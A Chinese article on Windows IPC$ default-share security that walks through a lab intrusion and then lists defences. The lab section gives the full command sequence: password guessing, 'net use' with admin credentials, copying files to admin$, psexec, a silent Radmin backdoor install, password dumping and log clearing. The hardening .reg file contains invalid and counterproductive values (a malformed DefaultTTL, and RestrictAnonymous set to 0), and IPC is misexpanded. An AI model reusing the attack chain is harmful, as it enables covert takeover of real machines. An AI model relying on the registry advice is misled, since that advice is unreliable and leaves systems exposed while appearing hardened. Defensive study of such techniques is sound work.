远程网络连接(IPC)安全防范研究
摘要: 本文着重分析了远程网络连接(IPC)的危害以及利用IPC漏洞实施攻击的常用方法,并从技术层次和管理层次对如何防范进行了讨论,这对保护局域网以及整个网络的安全具有重要的意义。
关键词:网络安全 远程网络连接 IPC
一、引言
网络安全遵循木桶原理,整个网络环境中网络安全的水平是由该网络中防护水平最弱的计算机所决定的。随着网络技术和硬件技术的快速发展,如今绝大多数单位的计算机在物理上都是连通的,构成了其内部网络(局域网)。根据其业务的需求,大多数内部网络还直接跟互联网直接相连的。在单位内部网络中,大部分安全都是建立在基于“信任”的基础上,而没有采取安全防范方法,因为大家是同事,人人都是可以信任的,大家都很“好”,认为没有谁会进行破坏,没有谁会获取情报信息。
在这种环境下,如果用户的口令设置过于简单,系统默认开放磁盘管理,网络内部用户和网络外部用户都可以利用目前网络上的一些简单黑客软件通过扫描获取系统用户帐号口令,对网络内部计算机实施完全控制。如果个人计算机上存在一些机密的文件等,那么如果发生入侵,轻者只是恶作剧,重者会造成文件泄密等安全事故,其损失是不可估量的。因此远程网络连接安全是一个不容忽视的安全问题,值得进行探讨。
二、IPC安全
1.什么是IPC
IPC是Internet Process Connection的缩写,也就是远程网络连接。它是Windows NT及Windows 2000特有的一项功能,而ipc$,admin$,c$,d$,e$这些则是Winnt和Win2000的默认共享,特点是在同一时间内,两个IP之间只允许建立一个连接。
IPC是Windows的一个重要模块,网上邻居以及网络共享都是通过IPC来实现的。黑客或者入侵者利用IPC$共享来实现入侵。网络上也常常将利用IPC$来实现入侵称为IPC$漏洞。IPC$就是一种管道通讯,它在两个ip间建立一个连接。如果能够探测到对方主机开放了139、445端口,说明对方主机开放了共享,也就可以尝试猜解用户口令并进行IPC$连接。IPC$连接分为IPC$空连接和带有一定权限IPC$连接,IPC$空连接没有任何权限,但是可以获取该主机的netbios信息;而带有权限的IPC$连接则可以执行命令和对文件进行复制、删除和修改等操作,从安全的角度来说,IPC$是一个存在安全隐患的因素。
2.IPC$入侵原理
IPC$入侵的最主要原理就是获取被入侵主机的密码,利用有权限的IPC$连接到主机并复制文件到主机上,然后运行木马程序或者执行命令来实现完全控制。如果系统默认共享全部打开,通过字典软件生成用户口令密码,再利用小榕的SMBCrack等软件进行用户登陆密码的暴力猜解,获取用户密码只是时间问题。因此网络远程连接(IPC)安全是网络安全中一个不容忽视的问题。
三、常见IPC漏洞攻击方法
1.利用IPC漏洞应具备的条件
(1)知道帐号和口令,且帐号的权限必须为系统最高权限,本系统中使用是Administator权限。在绝大多数环境中,利用软件所扫描出来的弱口令一般都是管理员(Administrator)权限(图1)。
图1 密码探测
(2)系统没有禁用远程IPC$连接
(3)能够扫描到对方计算机上所开放的445、135或者139端口
2.试验
(1)试验环境
Ø
Windows 2000 Professional+SP4虚拟机
Ø
系统未安装杀毒软件和防火墙
Ø
目标机IP地址为192.168.1.4
Ø
远程控制文件R_server.exe、raddrv.dll、AdmDll.dll。除了Radmin以外还有其他的远程控制软件也可以使用。
(2)探测目标机开放端口
Ø
使用sfind工具。使用命令格式为sfind –p 192.168.1.4
Ø
使用NT自动攻击工具
(3)获取目标机管理员帐号和密码
通过NT自动攻击工具获取192.168.1.4计算机的管理员帐号是Administrator,密码是123456。
(4)执行命令
Ø
net use \\192.168.1.4\ipc$ "123456" /user:"Administrator"
Ø
copy *.* \\192.168.1.4\admin$ 其中*.*包含所有的控制文件。
Ø
psexec \\192.168.1.4 cmd
Ø
通过命令行方式安装R_Server。直接在psexec中执行以下命令:
netstat -an |find "4899"
regsrc.exe /pass:lovemeloveyou /port:4899 /save /silence
regsrc.exe /install /silence
net start r_server
netstat -an |find "4899"
执行结果表示Radmin远程控制软件服务端安装成功,然后通过radmin客户端可以直接对该计算机实施远程控制。
(5)后续工作
Ø
获取系统的帐号密码,使用Adump.exe,Passwddump.exe,mt.exe等软件获取系统存在帐号的口令。
Ø
修改安装服务名称
Ø
安装其它后门程序
Ø
清理日志
说明:现在有很多软件可以自动实现IPC$漏洞的利用,例如NT/Win2000自动攻击工具,流光2000等,一旦找到弱口令,则自动安装指定的后门程序实施控制。
四、IPC漏洞的安全防范方法
1.管理层次防范方法
在网络管理中常流行一句话“三分技术,七分管理”。其实在网络安全中也是“三分技术,七分管理”,安全重在管理。只有意识上的重视才能带来长久的安全。
(1)安全审计
据笔者的研究和观察,在很多单位,仍然有对系统管理员帐号不设置密码,或者设置成一个很简单的密码。例如将密码设置成生日、年月、常见的单词等等。密码的安全是整个网络安全中的一个重要因素,因此应从审计的角度加强管理,可以对系统是否安装杀毒软件、防火墙软件、安装系统补丁、系统设置密码等方面进行安全审计,并配置一个安全管理人员。
(2)安全知识培训
网络安全也是一门技术,它由很多知识构成。因此了解和实施需要一个过程,这个过程就是培训和教育。通过培训来提高安全意识和安全技能,通过知识和法律教育来普及计算安全知识和计算机犯罪方面的法律意识和责任,增强安全感和责任感。
2.技术层次防范方法
(1)查看网络连接情况
使用“netstat –an”查看本机与网络的连接情况。该命令可以查看目前所建立的连接,系统所开放的服务端口。
(2)查看IPC$连接情况
使用“net use”命令查看网络共享连接情况,如果显示结果是“清单是空的”则表示无IPC$连接,否则会显示连接的的详细信息。
(3)安装防火墙软件,如金山防火墙、瑞星防火墙、Norton防火墙、天网防火墙等。防火墙软件有两个重要的功能,即只允许程序访问网络和过滤端口,防火墙软件会内置一些安全措施,可以满足基本的安全需要,但是如果需要定制更高级别的安全,则需要手动更改或者设置防火墙规则。
(4)关闭掉缺省共享
关闭缺省共享有两种方式,一种是彻底的禁用共享,一种是开机后删除共享。
开机后删除共享,可以将如下代码复制到记事本,然后将其另存为delshare.bat文件,并将其添加到系统的启动中,这样系统启动后就会自动删除默认共享。
net share admin$ /del
net share ipc$ /del
net share c /del
net share d /del
net share e /del
彻底删除共享,可以直接将以下代码复制到文本文件,并保存为delshare.reg文件,然后自己双击该文件将其导入注册表即可。
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"AutoShareServer"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"= 0-0xff
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]
"AutoshareWks"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"Restrictanonymous"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"SMBDeviceEnabled"=dword:00000000
(5)禁用Schedule服务
直接在“开始”-“运行”中输入“services.msc”,在服务控制面板中停止掉。
五、结束语
网络安全的建立不是依据“个人情感的信任关系”,而是基于安全策略和管理策略,通过技术来实现安全,通过教育和培训来提供安全意识。本文通过对IPC$入侵方法的分析和研究,提出了技术层次和管理层次的防范。通过以上的分析,可以看出IPC的安全是一个不容忽视的安全问题,因此进行网络远程连接的安全防范是非常必须的。
参考文献
1.
网络扫描与刺探,朱平,新疆电子出版社,2002
2.
黑客防线2005精华奉献本(上册),人民邮电出版社,2002
本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/46573